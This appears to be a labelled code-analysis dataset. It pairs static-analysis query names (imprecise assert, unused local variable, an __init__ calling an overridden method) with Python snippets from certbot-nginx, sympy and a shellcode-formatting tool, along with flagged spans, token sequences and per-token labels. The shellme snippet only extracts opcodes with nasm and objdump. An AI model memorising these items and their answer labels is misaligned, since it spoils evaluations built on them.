"unpacked", " ", "and", " ", "return", "ed", " ", "as", " ", "tuple_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-", " ", "the", " ", "initial", "\\u", "x", " ", "value", ":", " ", "0.0_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "-", " ", "the", " ", "x", "\\u", "increment", " ", "value", ":", " ", "0.0_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "fail", "Un", "less", "Equal_", "(_", "len_", "(_", "array_", ")_", ",_", "100_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail", "If_", "(_", "[_", "x_", "for_", "x_", "in_", "array_", "if_", "not_", "isinstance_", "(_", "x_", ",_", "float_", ")_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "fail", "Un", "less", "Equal_", "(_", "initial", "\\u", "x_", ",_", "0.0_", ")_", "\\u\\u\\uNE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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
letsencrypt/letsencrypt/certbot-nginx/certbot_nginx/tests/obj_test.py
[ { "content": " def test_eq(self):\n from certbot_nginx.obj import Addr\n new_addr1 = Addr.fromstring(\"192.168.1.1 spdy\")\n self.assertEqual(self.addr1, new_addr1)\n self.assertNotEqual(self.addr1, self.addr2)\n self.assertFalse(self.addr1 == 3333)", "metadata": "root.AddrTest.test_eq", "header": "['class', 'AddrTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 57 }, { "content": " def test_eq(self):\n from certbot_nginx.obj import Addr\n from certbot_nginx.obj import VirtualHost\n vhost1b = VirtualHost(\n \"filep\",\n set([Addr.fromstring(\"localhost blah\")]), False, False,\n set(['localhost']), [])\n\n self.assertEqual(vhost1b, self.vhost1)\n self.assertEqual(str(vhost1b), str(self.vhost1))\n self.assertFalse(vhost1b == 1234)", "metadata": "root.VirtualHostTest.test_eq", "header": "['class', 'VirtualHostTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 84 } ]
[ { "span": "self.assertFalse(self.addr1 == 3333)", "start_line": 62, "start_column": 8, "end_line": 62, "end_column": 44 }, { "span": "self.assertFalse(vhost1b == 1234)", "start_line": 94, "start_column": 8, "end_line": 94, "end_column": 41 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "Add", "r", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "eq_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "cert", "bot", "\\u", "ngin", "x_", "._", "obj_", "import_", "Addr_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "addr", "1_", "=_", "Addr_", "._", "fromstring_", "(_", "\"", "192", ".1", "68.", "1.1", " ", "spd", "y", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "self_", "._", "addr", "1_", ",_", "new", "\\u", "addr", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Not", "Equal_", "(_", "self_", "._", "addr", "1_", ",_", "self_", "._", "addr", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "self_", "._", "addr", "1_", "==_", "3333", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Virt", "ual", "Host", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "eq_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "from_", "cert", "bot", "\\u", "ngin", "x_", "._", "obj_", "import_", "Addr_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "cert", "bot", "\\u", "ngin", "x_", "._", "obj_", "import_", "Virt", "ual", "Host_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "vhost", "1b", "_", "=_", "Virt", "ual", "Host_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "filep", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "set_", "(_", "[_", "Addr_", "._", "fromstring_", "(_", "\"", "local", "host", " ", "bla", "h", "\"_", ")_", "]_", ")_", ",_", "False_", ",_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "set_", "(_", "[_", "'", "local", "host", "'_", "]_", ")_", ",_", "[_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "vhost", "1b", "_", ",_", "self_", "._", "vhost", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "str_", "(_", "vhost", "1b", "_", ")_", ",_", "str_", "(_", "self_", "._", "vhost", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "vhost", "1b", "_", "==_", "1234_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
Unused local variable
hatRiot/shellme/shellme.py
[ { "content": "def get_output(inf,arch='elf'):\n\t\"\"\"format into a string of bytes\"\"\"\n\toutput = ''\n\tif '.nasm' in inf:\n\t\ttmp = getoutput(\"nasm -f %s %s\"%(arch,inf))\n\t\tif 'error' in tmp:\n\t\t\tprint '[-] Error in your asm: ', tmp\n\t\t\tsys.exit(1)\t\n\t\tinf = inf.replace(\".nasm\", \".o\")\n\ttmp = getoutput(\"objdump -d %s\"%inf)\n\t\n\topcodes = ''\n\tfor line in tmp.split('\\n')[7:]:\n\t\ttmp = line.split(':',1)\n\t\tif len(tmp) > 1 and len(tmp[1]) > 0: tmp = tmp[1]\n\t\telse: continue\n\n\t\t# split on tab to get opcodes\n\t\ttmp = ''.join(tmp).split('\\t')\n\t\tif len(tmp) > 1: tmp = tmp[1].strip().replace(' ','')\n\t\tif '<' in tmp: continue\n\t\topcodes += tmp\n\treturn opcodes", "metadata": "root.get_output", "header": "['module', '___EOS___']", "index": 17 } ]
[ { "span": "output ", "start_line": 19, "start_column": 1, "end_line": 19, "end_column": 7 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "\\u", "output_", "(_", "inf_", ",_", "arch_", "=_", "'", "elf", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "\"\"\"", "format", " ", "int", "o", " ", "a", " ", "string", " ", "of", " ", "bytes", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'.", "nas", "m", "'_", "in_", "inf_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "tmp_", "=_", "getoutput_", "(_", "\"", "nas", "m", " ", "-", "f", " ", "%", "s", " ", "%", "s", "\"_", "%_", "(_", "arch_", ",_", "inf_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "error", "'_", "in_", "tmp_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "print_", "'[", "-]", " ", "Error", " ", "in", " ", "your", " ", "asm", ":", " ", "'_", ",_", "tmp_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "inf_", "=_", "inf_", "._", "replace_", "(_", "\".", "nas", "m", "\"_", ",_", "\".", "o", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "tmp_", "=_", "getoutput_", "(_", "\"", "objd", "ump", " ", "-", "d", " ", "%", "s", "\"_", "%_", "inf_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "opcodes_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "line_", "in_", "tmp_", "._", "split_", "(_", "'\\\\", "n", "'_", ")_", "[_", "7_", ":_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "tmp_", "=_", "line_", "._", "split_", "(_", "':'_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "tmp_", ")_", ">_", "1_", "and_", "len_", "(_", "tmp_", "[_", "1_", "]_", ")_", ">_", "0_", ":_", "tmp_", "=_", "tmp_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "split", " ", "on", " ", "tab", " ", "to", " ", "get", " ", "opcodes_", "\\u\\u\\uNL\\u\\u\\u_", "tmp_", "=_", "''_", "._", "join_", "(_", "tmp_", ")_", "._", "split_", "(_", "'\\\\", "t", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "tmp_", ")_", ">_", "1_", ":_", "tmp_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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
`__init__` method calls overridden method
sympy/sympy/sympy/logic/inference.py
[ { "content": "class KB(object):\n \"\"\"Base class for all knowledge bases\"\"\"\n\n\n\n", "metadata": "root.KB", "header": "['module', '___EOS___']", "index": 213 }, { "content": " def __init__(self, sentence=None):\n self.clauses_ = set()\n if sentence:\n self.tell(sentence)", "metadata": "root.KB.__init__", "header": "['class', 'KB', '(', 'object', ')', ':', '___EOS___']", "index": 215 }, { "content": " def tell(self, sentence):\n raise NotImplementedError", "metadata": "root.KB.tell", "header": "['class', 'KB', '(', 'object', ')', ':', '___EOS___']", "index": 220 }, { "content": " def ask(self, query):\n raise NotImplementedError", "metadata": "root.KB.ask", "header": "['class', 'KB', '(', 'object', ')', ':', '___EOS___']", "index": 223 }, { "content": " def retract(self, sentence):\n raise NotImplementedError", "metadata": "root.KB.retract", "header": "['class', 'KB', '(', 'object', ')', ':', '___EOS___']", "index": 226 }, { "content": " @property\n def clauses(self):\n return list(ordered(self.clauses_))", "metadata": "root.KB.clauses", "header": "['class', 'KB', '(', 'object', ')', ':', '___EOS___']", "index": 229 }, { "content": "class PropKB(KB):\n \"\"\"A KB for Propositional Logic. Inefficient, with no indexing.\"\"\"\n\n\n", "metadata": "root.PropKB", "header": "['module', '___EOS___']", "index": 234 }, { "content": " def tell(self, sentence):\n \"\"\"Add the sentence's clauses to the KB\n\n Examples\n ========\n\n >>> from sympy.logic.inference import PropKB\n >>> from sympy.abc import x, y\n >>> l = PropKB()\n >>> l.clauses\n []\n\n >>> l.tell(x | y)\n >>> l.clauses\n [Or(x, y)]\n\n >>> l.tell(y)\n >>> l.clauses\n [y, Or(x, y)]\n \"\"\"\n for c in conjuncts(to_cnf(sentence)):\n self.clauses_.add(c)", "metadata": "root.PropKB.tell", "header": "['class', 'PropKB', '(', 'KB', ')', ':', '___EOS___']", "index": 237 }, { "content": " def ask(self, query):\n \"\"\"Checks if the query is true given the set of clauses.\n\n Examples\n ========\n\n >>> from sympy.logic.inference import PropKB\n >>> from sympy.abc import x, y\n >>> l = PropKB()\n >>> l.tell(x & ~y)\n >>> l.ask(x)\n True\n >>> l.ask(y)\n False\n \"\"\"\n return entails(query, self.clauses_)", "metadata": "root.PropKB.ask", "header": "['class', 'PropKB', '(', 'KB', ')', ':', '___EOS___']", "index": 260 }, { "content": " def retract(self, sentence):\n \"\"\"Remove the sentence's clauses from the KB\n\n Examples\n ========\n\n >>> from sympy.logic.inference import PropKB\n >>> from sympy.abc import x, y\n >>> l = PropKB()\n >>> l.clauses\n []\n\n >>> l.tell(x | y)\n >>> l.clauses\n [Or(x, y)]\n\n >>> l.retract(x | y)\n >>> l.clauses\n []\n \"\"\"\n for c in conjuncts(to_cnf(sentence)):\n self.clauses_.discard(c)", "metadata": "root.PropKB.retract", "header": "['class', 'PropKB', '(', 'KB', ')', ':', '___EOS___']", "index": 277 } ]
[ { "span": "self.tell(sentence)", "start_line": 218, "start_column": 12, "end_line": 218, "end_column": 31 } ]
[ { "span": "def tell(self, sentence):", "start_line": 220, "start_column": 4, "end_line": 220, "end_column": 29 }, { "span": "def tell(self, sentence):", "start_line": 237, "start_column": 4, "end_line": 237, "end_column": 29 } ]
1
false
[ "[CLS]_", "`_", "\\u\\u", "init\\u\\u_", "`_", "method_", "calls_", "overrid", "den_", "method_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "KB", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Base", " ", "class", " ", "for", " ", "all", " ", "knowledge", " ", "base", "s", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "KB", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "sentence_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "clause", "s\\u_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "sentence_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "tell_", "(_", "sentence_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "KB", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tell_", "(_", "self_", ",_", "sentence_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Not", "Impl", "ement", "ed", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "KB", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "ask_", "(_", "self_", ",_", "query_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Not", "Impl", "ement", "ed", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "KB", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "retra", "ct_", "(_", "self_", ",_", "sentence_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Not", "Impl", "ement", "ed", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "KB", "_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "property_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "clauses_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "list_", "(_", "ordered_", "(_", "self_", "._", "clause", "s\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Prop", "KB", "_", "(_", "KB", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "A", " ", "KB", " ", "for", " ", "Propos", "itional", " ", "Logi", "c", ".", " ", " ", "Ine", "ffic", "ient", ",", " ", "with", " ", "no", " ", "indexing", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Prop", "KB", "_", "(_", "KB", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "tell_", "(_", "self_", ",_", "sentence_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Add", " ", "the", " ", "sentence", "'", "s", " ", "clause", "s", " ", "to", " ", "the", " ", "KB", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "logic", ".", "infer", "ence", " ", "import", " ", "Prop", "KB", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", ",", " ", "y", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "l", " ", "=", " ", "Prop", "KB", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "l", ".", "clause", "s", "\\", "10", ";", " ", " ", " ", " ", "[]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "l", ".", "tell", "(", "x", " ", "|", " ", "y", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "l", ".", "clause", "s", "\\", "10", ";", " ", " ", " ", " ", "[", "Or", "(", "x", ",", " ", "y", ")]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "l", ".", "tell", "(", "y", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "l", ".", "clause", "s", "\\", "10", ";", " ", " ", " ", " ", "[", "y", ",", " ", "Or", "(", "x", ",", " ", "y", ")]", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "c_", "in_", "conj", "unc", "ts_", "(_", "to", "\\u", "cnf_", "(_", "sentence_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "clause", "s\\u_", "._", "add_", "(_", "c_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Prop", "KB", "_", "(_", "KB", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "ask_", "(_", "self_", ",_", "query_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Check", "s", " ", "if", " ", "the", " ", "query", " ", "is", " ", "true", " ", "give", "n", " ", "the", " ", "set", " ", "of", " ", "clause", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "logic", ".", "infer", "ence", " ", "import", " ", "Prop", "KB", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", ",", " ", "y", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "l", " ", "=", " ", "Prop", "KB", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "l", ".", "tell", "(", "x", " ", "&", " ", "~", "y", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "l", ".", "ask", "(", "x", ")", "\\", "10", ";", " ", " ", " ", " ", "Tru", "e", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "l", ".", "ask", "(", "y", ")", "\\", "10", ";", " ", " ", " ", " ", "Fal", "se", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "enta", "ils_", "(_", "query_", ",_", "self_", "._", "clause", "s\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Prop", "KB", "_", "(_", "KB", "_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "retra", "ct_", "(_", "self_", ",_", "sentence_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Remove", " ", "the", " ", "sentence", "'", "s", " ", "clause", "s", " ", "from", " ", "the", " ", "KB", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", "\\", "10", ";", " ", " ", " ", " ", "=======", "=", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "logic", ".", "infer", "ence", " ", "import", " ", "Prop", "KB", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "from", " ", "symp", "y", ".", "abc", " ", "import", " ", "x", ",", " ", "y", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "l", " ", "=", " ", "Prop", "KB", "()", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "l", ".", "clause", "s", "\\", "10", ";", " ", " ", " ", " ", "[]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "l", ".", "tell", "(", "x", " ", "|", " ", "y", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "l", ".", "clause", "s", "\\", "10", ";", " ", " ", " ", " ", "[", "Or", "(", "x", ",", " ", "y", ")]", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "l", ".", "retra", "ct", "(", "x", " ", "|", " ", "y", ")", "\\", "10", ";", " ", " ", " ", " ", ">>>", " ", "l", ".", "clause", "s", "\\", "10", ";", " ", " ", " ", " ", "[]", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "c_", "in_", "conj", "unc", "ts_", "(_", "to", "\\u", "cnf_", "(_", "sentence_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "clause", "s\\u_", "._", "discard_", "(_", "c_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 